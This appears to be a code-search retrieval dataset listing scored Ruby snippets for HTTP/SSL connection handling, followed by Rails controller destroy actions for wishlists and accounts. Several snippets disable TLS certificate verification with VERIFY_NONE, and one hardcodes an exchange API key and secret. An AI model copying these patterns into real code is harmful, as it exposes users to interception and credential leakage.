"text": "def connection\n @connection ||= Net::HTTP.new(TENDER_API_HOST, Net::HTTP.https_default_port).tap do |http|\n http.use_ssl = true\n # http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n http.start\n end\n end",
"title": ""
},
{
"docid": "c2e4d7f46dae98f2376b83f2bb83c403",
"score": "0.55631757",
"text": "def sleep_until_started(host, test_url=\"/pdb/meta/v1/version\")\n # Hit an actual endpoint to ensure PuppetDB is up and not just the webserver.\n # Retry until an HTTP response code of 200 is received.\n desired_exit_code = 0\n max_retries = 120\n retry_interval = 1\n curl_with_retries(\"start puppetdb\", host,\n \"-s -w '%{http_code}' http://localhost:8080#{test_url} -o /dev/null\",\n desired_exit_code, max_retries, retry_interval, /200/)\n curl_with_retries(\"start puppetdb (ssl)\", host,\n \"https://#{host.node_name}:8081#{test_url}\", [35, 60])\nrescue RuntimeError => e\n display_last_logs(host)\n raise\nend",
"title": ""
},
{
"docid": "f34ccda0275e3c29732ecff4584b6c96",
"score": "0.55617446",
"text": "def connect\n\t\t@response = Net::HTTP.get_response( @request ) unless @request != nil\n\tend",
"title": ""
},
{
"docid": "75dd9358f855174e29885d5122d44a61",
"score": "0.555638",
"text": "def check_server\n return true if test?\n check_url = \"#{server_url}/SyfFKj2rKt3CoKnELR1Io4ZDoSa70000\"\n uri = URI.parse(check_url)\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true if uri.scheme == 'https'\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE unless verify_ssl?\n response = http.request_get(uri.request_uri)\n return response.is_a?(Net::HTTPSuccess)\n rescue\n return false\n end",
"title": ""
},
{
"docid": "11f2c7cdfd0a20bb8f37081530f79509",
"score": "0.5541949",
"text": "def http_request\n if http_proxy\n http_request = http_proxy.new(url.host, url.port)\n else\n http_request = Net::HTTP.new(url.host, url.port)\n end\n \n # enable SSL/TLS\n if url.scheme == 'https'\n require 'net/https'\n require 'openssl'\n Error::Connection.extend_classes!\n \n http_request.use_ssl = true\n \n if options[:tls_verify] or options[:verify_ssl]\n if http_request.respond_to?(:enable_post_connection_check=)\n http_request.enable_post_connection_check = true\n end\n # from http://curl.haxx.se/ca/cacert.pem\n http_request.ca_file = options[:tls_ca_file] || File.expand_path('../../../support/cacert.pem', __FILE__)\n http_request.verify_mode = OpenSSL::SSL::VERIFY_PEER\n else\n http_request.verify_mode = OpenSSL::SSL::VERIFY_NONE\n end\n \n if options[:tls_key_and_certificate_file]\n key_and_certificate = File.read(options[:tls_key_and_certificate_file])\n options[:tls_key] = OpenSSL::PKey::RSA.new(key_and_certificate)\n options[:tls_certificate] = OpenSSL::X509::Certificate.new(key_and_certificate)\n end\n \n if options[:tls_key] and options[:tls_certificate]\n http_request.key = options[:tls_key]\n http_request.cert = options[:tls_certificate]\n elsif options[:tls_key] || options[:tls_certificate]\n raise ArgumentError, \"Please specify both the certificate and private key (:tls_key and :tls_certificate)\"\n end\n end\n \n if @configure_block\n @configure_block.call(http_request)\n end\n \n http_request\n end",
"title": ""
},
{
"docid": "f81b9f8a34e5e3a1e8dff75e224d29c5",
"score": "0.5539635",
"text": "def https\n return @_http if @_http\n\n http = Net::HTTP.new(puppet_server, puppet_port)\n\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_PEER\n http.cert = OpenSSL::X509::Certificate.new(File.read(client_public_cert))\n http.ca_file = ca_path\n http.key = OpenSSL::PKey::RSA.new(File.read(client_private_key))\n\n @_http = http\n end",
"title": ""
},
{
"docid": "87994bbcca871ef86cbb7951dc59cdbf",
"score": "0.553727",
"text": "def get_url\n begin\n uri = URI.parse(@resource[:url])\n http = Net::HTTP.new(uri.host, uri.port)\n if @resource[:url].start_with?('https')\n http.use_ssl = true\n case @resource[:ssl_verify_mode]\n when 'none'\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n when 'peer'\n http.verify_mode = OpenSSL::SSL::VERIFY_PEER\n end\n end\n request = Net::HTTP::Get.new(uri.request_uri)\n http.request(request)\n rescue Exception => e\n debug \"Got error while checking backend: #{e}\"\n false\n end\n end",
"title": ""
},
{
"docid": "01b60a8da9d299fb232cbae0dcc9a401",
"score": "0.55231595",
"text": "def request(req = nil, options = {}, &block)\n retried = false\n bad_response = false\n\n req = Net::HTTP::Get.new @default_path unless req\n\n headers.each do |pair|\n req.add_field(*pair)\n end\n\n req.add_field 'Connection', 'keep-alive'\n req.add_field 'Keep-Alive', @keep_alive\n\n @pool.with_connection do |connection|\n begin\n options.each do |key, value|\n connection.send(\"#{key}=\", value)\n end\n response = connection.request req, &block\n @http_version ||= response.http_version\n @count_hash[connection.object_id] += 1\n return response\n\n rescue Timeout::Error => e\n due_to = \"(due to #{e.message} - #{e.class})\"\n message = error_message connection\n @logger.info \"#{name}: Removing connection #{due_to} #{message}\" if @logger\n remove connection\n raise\n \n rescue Net::HTTPBadResponse => e\n message = error_message connection\n if bad_response or not (idempotent? req or @force_retry)\n @logger.info \"#{name}: Removing connection because of too many bad responses #{message}\" if @logger\n remove connection\n raise Error, \"too many bad responses #{message}\"\n else\n bad_response = true\n @logger.info \"#{name}: Renewing connection because of bad response #{message}\" if @logger\n connection = renew connection\n retry\n end\n\n rescue IOError, EOFError, Errno::ECONNABORTED, Errno::ECONNREFUSED, Errno::ECONNRESET, Errno::EPIPE => e\n due_to = \"(due to #{e.message} - #{e.class})\"\n message = error_message connection\n if retried or not (idempotent? req or @force_retry)\n @logger.info \"#{name}: Removing connection #{due_to} #{message}\" if @logger\n remove connection\n raise Error, \"too many connection resets #{due_to} #{message}\"\n else\n retried = true\n @logger.info \"#{name}: Renewing connection #{due_to} #{message}\" if @logger\n connection = renew connection\n retry\n end\n end\n end\n end",
"title": ""
},
{
"docid": "14b049895a503b58e2ba938e9c9e5002",
"score": "0.551951",
"text": "def connect\n @raw_connection = self.class.new_client(@connection_parameters)\n rescue ConnectionNotEstablished => ex\n raise ex.set_pool(@pool)\n end",
"title": ""
},
{
"docid": "82803109e7f62c8f8944a0de7910c4db",
"score": "0.54881775",
"text": "def http\n http = Net::HTTP.new(url.host, url.port)\n http.use_ssl = (url.scheme == 'https')\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n http\n end",
"title": ""
},
{
"docid": "8b69b6496fadadf13f5bbc74f932338d",
"score": "0.5487559",
"text": "def set_up_connection # :doc:\n connection_class = Net::HTTP::Proxy @config[:proxy_addr],\n @config[:proxy_port], @config[:proxy_user], @config[:proxy_pass]\n @connection = connection_class.new @config[:host], @config[:port]\n set_up_ssl\n @connection.open_timeout = @config[:timeout]\n @connection.read_timeout = @config[:timeout]\n end",
"title": ""
},
{
"docid": "8b69b6496fadadf13f5bbc74f932338d",
"score": "0.5487559",
"text": "def set_up_connection # :doc:\n connection_class = Net::HTTP::Proxy @config[:proxy_addr],\n @config[:proxy_port], @config[:proxy_user], @config[:proxy_pass]\n @connection = connection_class.new @config[:host], @config[:port]\n set_up_ssl\n @connection.open_timeout = @config[:timeout]\n @connection.read_timeout = @config[:timeout]\n end",
"title": ""
},
{
"docid": "8b69b6496fadadf13f5bbc74f932338d",
"score": "0.5487559",
"text": "def set_up_connection # :doc:\n connection_class = Net::HTTP::Proxy @config[:proxy_addr],\n @config[:proxy_port], @config[:proxy_user], @config[:proxy_pass]\n @connection = connection_class.new @config[:host], @config[:port]\n set_up_ssl\n @connection.open_timeout = @config[:timeout]\n @connection.read_timeout = @config[:timeout]\n end",
"title": ""
},
{
"docid": "aab05a5241d6a0d29b5c337530c82060",
"score": "0.54736644",
"text": "def net_http_connect_on_start; end",
"title": ""
},
{
"docid": "aab05a5241d6a0d29b5c337530c82060",
"score": "0.54736644",
"text": "def net_http_connect_on_start; end",
"title": ""
},
{
"docid": "1ed7df4b50b68c93db2482f94137cf5a",
"score": "0.54713887",
"text": "def retry_on_connection_error\n @retry_on_failure = true\n begin\n handle_thrift_exceptions_with_missing_message { yield }\n rescue Thrift::TransportException, IOError, Thrift::ApplicationException, Thrift::ProtocolException => err\n if @retry_on_failure\n @retry_on_failure = false\n @connection.close\n @connection.open\n retry\n else\n raise err\n end\n end\n end",
"title": ""
},
{
"docid": "f2fe31d0d46ab182cb7e94a0b77ef0fd",
"score": "0.5468243",
"text": "def ssl_connect?(domain, port)\n begin\n Timeout::timeout(1) do\n begin\n s = TCPSocket.new(domain, port)\n s.close\n return true\n rescue Errno::ECONNREFUSED, Errno::EHOSTUNREACH\n return false\n end\n end\n rescue Timeout::Error\n end\n return false\nend",
"title": ""
},
{
"docid": "7893f53de6fb2824c254c7e9d3261961",
"score": "0.546697",
"text": "def acess_url\n\t\t begin\n retries ||= 0\n return yield\n rescue Exception => detail # This is awful and dangerous. Maybe turn back to the previous solution?\n if (retries += 1) < 3 then retry\n else \n\t\t\t\t\tputs(\"\\nNão foi possível baixar esse capítulo. Verifique a conexão e tente novamente. \\nDeseja ver a mensagem de erro? S/N\")\n\t\t\t\t\tif $stdin.gets.chomp.downcase == 's'\n\t\t\t\t\t\tputs(detail)\n\t\t\t\t\tend\n\t\t\t\t\texit(true)\n end\n end\n\t\tend",
"title": ""
},
{
"docid": "492ea416f76bcc91122ebd6fc5f88836",
"score": "0.54577655",
"text": "def http_response \n url = @options['url']\n\n uri = URI.parse(url)\n h = Net::HTTP.new(uri.host,uri.port)\n if h.port == 443\n h.use_ssl = true\n end\n h.open_timeout = TIMEOUT_LENGTH\n response = nil\n retry_url_trailing_slash = true\n retry_url_execution_expired = true\n begin\n h.start { |http|\n response = http.get(uri.path + (uri.query ? ('?' + uri.query) : ''))\n response = response.class.to_s.gsub!(/^Net::/,'')\n }\n rescue Exception => e\n # forgot the trailing slash...add and retry\n if e.message == \"HTTP request path is empty\" and retry_url_trailing_slash\n url += '/'\n uri = URI.parse(url)\n h = Net::HTTP.new(uri.host)\n retry_url_trailing_slash = false\n retry\n elsif e.message =~ /execution expired/ and retry_url_execution_expired\n retry_url_execution_expired = false\n retry\n else\n response = e.to_s\n end\n end\n \n return response\n end",
"title": ""
},
{
"docid": "bd49efe90f4eb644cee3e201bdc8cd1a",
"score": "0.5457648",
"text": "def run_connect\n execute_and_retry_forever(:connect) do\n connect\n end\n end",
"title": ""
},
{
"docid": "d82742a2b4cd7f85621aaa73156a5c50",
"score": "0.54566383",
"text": "def build_http_client\n @http = Net::HTTP.new(uri.host, uri.port, proxy.addr, proxy.port)\n\n @http.use_ssl = uri.is_a?(URI::HTTPS)\n @http.verify_mode = ssl_options.fetch(:verify_mode)\n @http.open_timeout = timeout\n @http.read_timeout = timeout\n end",
"title": ""
},
{
"docid": "f8d321f29afe0e35bd08cc9fcb47a12b",
"score": "0.5448951",
"text": "def start_http(server,path,headers) # :nodoc:\n if (@http[server].nil?)\n begin\n @http[server] = Net::HTTP.new(server,443)\n @http[server].use_ssl = true\n @http[server].verify_mode = OpenSSL::SSL::VERIFY_NONE\n @http[server].start\n rescue\n raise ConnectionException, \"Unable to connect to #{server}\"\n end\n end\n end",
"title": ""
},
{
"docid": "c97f12e5fa4c3d25b379b229a86aeced",
"score": "0.5443509",
"text": "def initialize_database\n uri = URI(BASEURL)\n data = nil\n while data.nil?\n begin\n req = Net::HTTP::Get.new(uri.path)\n req[\"content-type\"] = \"application/json\"\n puts \"OK, going to try connecting to #{uri.host} : #{uri.port}\"\n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request req # Net::HTTPResponse object\n data = JSON.parse(response.body)\n end\n rescue => e\n puts \"Trying to connect to local database didn't work; I'll wait 2 seconds, then try again.\"\n sleep 2\n end\n end\n\n if data['error']\n #Well then, the DB must not be there.\n req = Net::HTTP::Put.new(uri.path)\n req[\"content-type\"] = \"application/json\"\n data = nil\n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request req # Net::HTTPResponse object\n data = JSON.parse(response.body)\n end\n if (data['ok'].nil?)\n puts \"ERROR: Tried to create database, but failed.\"\n puts \"Everything's probably going to crash.\"\n return\n end\n \n uri = URI(BASEURL+CLIENTID)\n req = Net::HTTP::Put.new(uri.path)\n req[\"content-type\"] = \"application/json\"\n req.body = JSON.generate({\"script\" => \"\", \"signature\" => \"\"})\n data = nil\n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request req # Net::HTTPResponse object\n data = JSON.parse(response.body)\n end\n if (data['ok'].nil?)\n puts \"ERROR: Tried to create database, but failed to insert the CLIENT document.\"\n puts \"Everything's probably going to crash.\"\n return\n end\n \n uri = URI(BASEURL+MISSIONID)\n req = Net::HTTP::Put.new(uri.path)\n req[\"content-type\"] = \"application/json\"\n req.body = JSON.generate({\"script\" => \"\", \"signature\" => \"\"})\n data = nil\n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request req # Net::HTTPResponse object\n data = JSON.parse(response.body)\n end\n if (data['ok'].nil?)\n puts \"ERROR: Tried to create database, but failed to insert the MISSION document.\"\n puts \"Everything's probably going to crash.\"\n return\n end\n \n uri = URI(VIEWURL)\n req = Net::HTTP::Put.new(uri.path)\n req[\"content-type\"] = \"application/json\"\n req.body = JSON.generate({\"language\" => \"javascript\", \"views\" => {\n \"nodes\" => {\n \"map\" => \"function(doc){\n if (doc._id.match(/^node\\_/))\n {\n emit(doc._id, doc);\n }\n }\"\n }\n }})\n data = nil\n Net::HTTP.start(uri.host, uri.port) do |http|\n response = http.request req # Net::HTTPResponse object\n data = JSON.parse(response.body)\n end\n if (data['ok'].nil?)\n puts \"ERROR: Tried to create database, but failed to insert the MISSION document.\"\n puts \"Everything's probably going to crash.\"\n return\n end\n \n else\n puts \"Database exists.\"\n end\nend",
"title": ""
},
{
"docid": "204a1212b10330e0143a5b5f1b9c6444",
"score": "0.54417",
"text": "def connect\n @handler = XMLRPC::Client.new_from_uri(@url)\n #Get rid of SSL warnings \"peer certificate won't be verified in this SSL session\"\n #See http://developer.amazonwebservices.com/connect/thread.jspa?threadID=37139\n #and http://blog.chmouel.com/2008/03/21/ruby-xmlrpc-over-a-self-certified-ssl-with-a-warning/\n #and http://stackoverflow.com/questions/4748633/how-can-i-make-rubys-xmlrpc-client-ignore-ssl-certificate-errors for ruby 1.9 (which does not set @ssl_context before a request)\n if @handler.instance_variable_get('@http').use_ssl?\n if @handler.instance_variable_get('@http').instance_variable_get(\"@ssl_context\") #Ruby 1.8.7\n @handler.instance_variable_get('@http').instance_variable_get(\"@ssl_context\").verify_mode = SSL_VERIFY_MODE\n else\n @handler.instance_variable_get('@http').instance_variable_set(:@verify_mode, SSL_VERIFY_MODE) #Ruby 1.9\n end\n end\n end",
"title": ""
},
{
"docid": "660e2d3c24798bf0ac21aa292b896cc9",
"score": "0.54349184",
"text": "def connect_ssl\n @socket.connect\n end",
"title": ""
},
{
"docid": "660e2d3c24798bf0ac21aa292b896cc9",
"score": "0.54349184",
"text": "def connect_ssl\n @socket.connect\n end",
"title": ""
}
] |
84dc24c3b8b777f08138a58e214e18e7
|
DELETE /wishlist_accounts/1 DELETE /wishlist_accounts/1.json
|
[
{
"docid": "b7fdfc33ff05c47aa853b964baedc472",
"score": "0.76240194",
"text": "def destroy\n @wishlist_account.destroy\n respond_to do |format|\n format.html { redirect_to chart_of_accounts_path, notice: 'Wishlist account was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
}
] |
[
{
"docid": "db082f8f8827c54772886cf85926109b",
"score": "0.74313617",
"text": "def destroy\n @wishlist.destroy\n respond_to do |format|\n format.html { redirect_to wishlists_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a5a6bfc5de6097f0f420608c23a10b9c",
"score": "0.731488",
"text": "def destroy\n @wishlist_item = WishlistItem.find(params[:id])\n @wishlist_item.destroy\n\n respond_to do |format|\n format.html { redirect_to wishlist_items_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "9f9803fb4ad0caf5e6e43a5a8c807838",
"score": "0.7290563",
"text": "def destroy\n @wishlist_item = WishlistItem.find(params[:id])\n @wishlist_item.destroy\n\n respond_to do |format|\n format.html { redirect_to wishlist_items_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9f9803fb4ad0caf5e6e43a5a8c807838",
"score": "0.7290563",
"text": "def destroy\n @wishlist_item = WishlistItem.find(params[:id])\n @wishlist_item.destroy\n\n respond_to do |format|\n format.html { redirect_to wishlist_items_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "5b1e8f9a27286162c7a120f082568c77",
"score": "0.7234809",
"text": "def destroy\n @wishlistline = Wishlistline.find(params[:id])\n @wishlistline.destroy\n\n respond_to do |format|\n format.html { redirect_to @wishlistline.wishlist }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "8476c890cdda515c9f314ea9bad15679",
"score": "0.7132568",
"text": "def destroy\n @wishlist_item.destroy\n respond_to do |format|\n format.html { redirect_to wishlist_items_url, notice: 'Wishlist item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a82f930e32db4a27035a88ece1d2c9c5",
"score": "0.7122188",
"text": "def destroy\n @user_wishlist.destroy\n respond_to do |format|\n format.html { redirect_to user_wishlists_url, notice: 'Project was successfully removed from wishlist.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "4cd6c97ae03ca9f773cb95ea9232f01b",
"score": "0.7099443",
"text": "def destroy\n @wish_item = WishItem.find(params[:id])\n @wish_item.destroy\n\n respond_to do |format|\n format.html { redirect_to wish_items_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "dfbc4a65b8c8273dce8d15a2aa94cfc6",
"score": "0.70987874",
"text": "def destroy\n @wishlist_item = WishlistItem.find(params[:id])\n @wishlist_item.destroy\n\n respond_to do |format|\n format.html { redirect_to(wishlist_items_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "d790a870fb6fdd95a0c239c54931e50d",
"score": "0.70863557",
"text": "def destroy\n @dress_wishlist.destroy\n respond_to do |format|\n format.html { redirect_to dress_wishlists_url, notice: 'Dress wishlist was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "20d00b74a79847d4b9c6b4db2bc14aa5",
"score": "0.7078967",
"text": "def destroy\n @wish_list.destroy\n respond_to do |format|\n format.html { redirect_to wish_lists_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "34751a5870b67488f94f9a2c8079f349",
"score": "0.7078536",
"text": "def destroy\n @wish_list = WishList.find(params[:id])\n @wish_list.destroy\n\n respond_to do |format|\n format.html { redirect_to store_path }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a1e452d2e609a80d1f55fb84f2aae77a",
"score": "0.7077135",
"text": "def destroy\n @wish_list = WishList.find(params[:id])\n @wish_list.destroy\n\n respond_to do |format|\n #format.html { redirect_to wish_lists_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "77abb1953c67106568eac7b9fc392319",
"score": "0.70765954",
"text": "def destroy\n @wishlist = Wishlist.find(session[:wish_id])\n @wish_item.destroy\n respond_to do |format|\n format.html { redirect_to wishlist_path(@wishlist), notice: 'Wish item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d724608a2aefcfa97f5ac9d6eda537ff",
"score": "0.704407",
"text": "def destroy\n @wish_item.destroy\n respond_to do |format|\n format.html { redirect_to wish_items_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b2d9aebbf70baabef58f1d15fb085cda",
"score": "0.7040849",
"text": "def destroy\n @wish_list = WishList.find(params[:id])\n @wish_list.destroy\n\n respond_to do |format|\n format.html { redirect_to wish_lists_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9208eee7c78ec5faafca267561abc275",
"score": "0.7026345",
"text": "def destroy\n @wishlist.destroy\n respond_to do |format|\n format.html { redirect_to matches_url, notice: 'match was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "afc899a769eb08e882250c9087f7888a",
"score": "0.701107",
"text": "def destroy\n @wish = Wish.find(params[:id])\n @wish.destroy\n\n respond_to do |format|\n format.html { redirect_to wishes_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "afc899a769eb08e882250c9087f7888a",
"score": "0.701107",
"text": "def destroy\n @wish = Wish.find(params[:id])\n @wish.destroy\n\n respond_to do |format|\n format.html { redirect_to wishes_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "afc899a769eb08e882250c9087f7888a",
"score": "0.701107",
"text": "def destroy\n @wish = Wish.find(params[:id])\n @wish.destroy\n\n respond_to do |format|\n format.html { redirect_to wishes_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "63a5061b165c4b8506fac668137a313f",
"score": "0.70007354",
"text": "def destroy\n @wish = Wish.find(params[:id])\n @wish.destroy\n\n respond_to do |format|\n format.html { redirect_to wishes_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "ea95df715842f3b9a6c72283aff96f6c",
"score": "0.69764817",
"text": "def destroy\n @user = User.find(current_user.id)\n @wishlist = @user.wishlists.find(params[:id])\n @wishlist.destroy\n redirect_to wishlists_path\n end",
"title": ""
},
{
"docid": "0e3a6e473ee7e722d0b1f43d61f898c4",
"score": "0.69673824",
"text": "def destroy\n @wishline = Wishline.find(params[:id])\n @wishline.destroy\n\n respond_to do |format|\n format.html { redirect_to 'http://localhost:3000/wishlists/show'}\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ac52a8dfe4fa11d2b85ab8ebc55fbba9",
"score": "0.6932436",
"text": "def destroy\n @user = User.find(params[:user_id])\n @wishitem = Wishitem.find(params[:id])\n @wishitem.destroy\n\n respond_to do |format|\n format.html { redirect_to @user, notice: 'item was deleted from wish list' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "59f30b4723dad8c09c0648acc0735c38",
"score": "0.68906766",
"text": "def deleteChecklistCheckitem(idChecklist, idCheckItem)\n\thash = Hash.new\n\thash[:key] = $key\n\thash[:token] = $token\t\n\n\tresponse = RestClient.delete 'https://api.trello.com/1/checklists/'+idChecklist+'/checkItems/'+idCheckItem, hash\n\tresponse = JSON.parse(response)\nend",
"title": ""
},
{
"docid": "912652fd8db0b25f2026a1e1441cdd3a",
"score": "0.6879358",
"text": "def destroy\n @tweet_api_account = TweetApiAccount.find(params[:id])\n @tweet_api_account.destroy\n\n respond_to do |format|\n format.html { redirect_to tweet_api_accounts_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "2988592273f1cbe56da76c8151d2c163",
"score": "0.6866212",
"text": "def destroy\n @api_wmall_shop_account = Wmall::ShopAccount.find(params[:id])\n @api_wmall_shop_account.destroy\n\n respond_to do |format|\n format.html { redirect_to api_wmall_shop_accounts_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a8952f166cde2817611e402f5eb98306",
"score": "0.68499404",
"text": "def destroy\n @wish.destroy\n respond_to do |format|\n format.html { redirect_to wishes_url, notice: \"Wish was successfully deleted.\" }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e9c3ca260317984c3345aa513fa3aa82",
"score": "0.6824605",
"text": "def service_wish_delete(user_id, jancode)\r\n db = Tmarker::Common::DB.new(:wishes)\r\n db.delete({:user_id => user_id, :jancode => jancode})\r\n end",
"title": ""
},
{
"docid": "cfc0becb3d4269f1fc5d37b446732b15",
"score": "0.680451",
"text": "def destroy\n @wish_list.destroy\n respond_to do |format|\n format.html { redirect_to wish_lists_url, :notice => 'Wish list has been deleted.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "41cd6491a969fe58aaf84b56356f37e1",
"score": "0.6787808",
"text": "def destroy\n @wish.destroy\n respond_to do |format|\n format.html { redirect_to wishes_url, notice: 'Wish was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "1c8b0ef0756294d8311f3f2aa644a49d",
"score": "0.6761662",
"text": "def destroy\n @wishname = Wishname.find(params[:id])\n @wishname.destroy\n\n respond_to do |format|\n format.html { redirect_to wishnames_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d1b42f2bb9271ac80ab59b7d02889b7e",
"score": "0.6760859",
"text": "def destroy\n @wish = current_user.wishes.find(params[:id])\n redirect_to(@wish) if @wish.status != 0\n @wish.destroy\n\n respond_to do |format|\n format.html { redirect_to(wishes_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "233669c48d8155292c0c0fcb5c052506",
"score": "0.67524695",
"text": "def destroy\n @whiskey.destroy\n respond_to do |format|\n format.html { redirect_to whiskeys_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "cb3bfcf4eb5cd1e6d1652d5f81b16b94",
"score": "0.6746327",
"text": "def destroy\n @account = Account.find(params[:id])\n if(@account)\n\t@tid = @account.account_id\n end\n @account.destroy\n\n\n key = \"a4bpRUI0lIAiFWHL\"\n secret = \"nmX8ry1OicN52o2tkgnX9GnAv0OS86o8\"\n @client = Coinbase::Wallet::Client.new(api_key: key, api_secret: secret, api_url: \"https://api.sandbox.coinbase.com\")\n\n @find_acc = @client.account(@tid)\n @find_acc.delete!\n\n\n respond_to do |format|\n format.html { redirect_to accounts_url, notice: 'Account was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "2e99615212f5b555a61afd2f63cc2f25",
"score": "0.6730194",
"text": "def destroy\n user = current_user\n wishlist = user.wishlists\n item_id = wishlist.where(sneaker_id: params[:id]).first\n item_id.destroy\n flash[:notice] = \"Item has been removed from your wishlist\"\n redirect_to wishlists_path\n \n end",
"title": ""
},
{
"docid": "bac08d12dbe3a1e986b1b2d056b5f8fa",
"score": "0.6730073",
"text": "def destroy\n @wish_list = WishList.find(params[:id])\n @wish_list.destroy\n\n respond_to do |format|\n format.html { redirect_to(wish_lists_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "522cb7253b9e2b5f970007ed0553110a",
"score": "0.6690869",
"text": "def destroy\n @bill_account = BillAccount.find(params[:id])\n @bill_account.destroy\n\n respond_to do |format|\n format.html { redirect_to bill_accounts_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "137ffc9c997e63da2471fb5dfb87cc30",
"score": "0.66886914",
"text": "def destroy\n favorite = Favorite.find(params[:id])\n favorite.destroy\n render json: {error: 'Your account has been deleted'}\n end",
"title": ""
},
{
"docid": "d37248e7b997579ad08b10bf215a602c",
"score": "0.6679581",
"text": "def destroy\n @buttle = Buttle.find(params[:id])\n @buttle.destroy\n\n respond_to do |format|\n format.html { redirect_to myadmin_buttles_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "1c177c90005dc80891dd326e3739cb28",
"score": "0.66733104",
"text": "def destroy\n @waybill = Waybill.find(params[:id])\n @waybill.destroy\n\n respond_to do |format|\n format.html { redirect_to waybills_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a3953b97d250e6703f8cd91095862ef3",
"score": "0.6664699",
"text": "def destroy\n @ebay_account.destroy\n respond_to do |format|\n format.html { redirect_to ebay_accounts_url, notice: 'eBay account was unlinked.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e3ab1297b7038b5732b6bae6820b970a",
"score": "0.66630894",
"text": "def destroy\n @wish_list.destroy\n respond_to do |format|\n format.html { redirect_to wish_lists_path, notice: 'Book successfully removed from your WishList.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "3342bbd95a119fe10b54a993ec776334",
"score": "0.6662013",
"text": "def destroy\n @super_bowl = SuperBowl.find(params[:id])\n @super_bowl.destroy\n\n respond_to do |format|\n format.html { redirect_to super_bowls_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e60a6c9e304a15cac40c80b1eb493b43",
"score": "0.66552454",
"text": "def destroy\n @wishwall = Wishwall.find(params[:id])\n @wishwall.destroy\n\n respond_to do |format|\n format.html { redirect_to wishwalls_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a7dfdae9fbc9c47124290f0a0032a617",
"score": "0.6641163",
"text": "def destroy\n @bonus_account.destroy\n respond_to do |format|\n format.html { redirect_to bonus_accounts_url, notice: 'Bonus account was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "497f8d4b631d86da5f78d5d0bb7e8c85",
"score": "0.6638754",
"text": "def destroy\n @whiskey.destroy\n\n render json: { notice: 'Whiskey was successfully removed.' }\n end",
"title": ""
},
{
"docid": "04ed102ae340c2fbbcb0fdcfbc9c97f8",
"score": "0.6632511",
"text": "def destroy\n @account = current_user.person.yahoo_accounts.find(params[:id])\n @account.destroy\n\n respond_to do |format|\n format.html { redirect_to accounts_path }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "82023cbc4d2dd9486e29cfc6ff6098eb",
"score": "0.6620608",
"text": "def destroy\n\t\t@wish.destroy\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to wishes_url, notice: 'Wish was successfully removed.' }\n\t\t\tformat.json { head :no_content }\n\t\tend\n\tend",
"title": ""
},
{
"docid": "b34969e1ecded7ccf42b1c1ad0d0274b",
"score": "0.6609332",
"text": "def destroy\n @myb_pad_account.destroy\n respond_to do |format|\n format.html { redirect_to myb_pad_accounts_url, notice: 'Myb pad account was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "82bb2141c0678aca5fe92aa892d2a70e",
"score": "0.6604179",
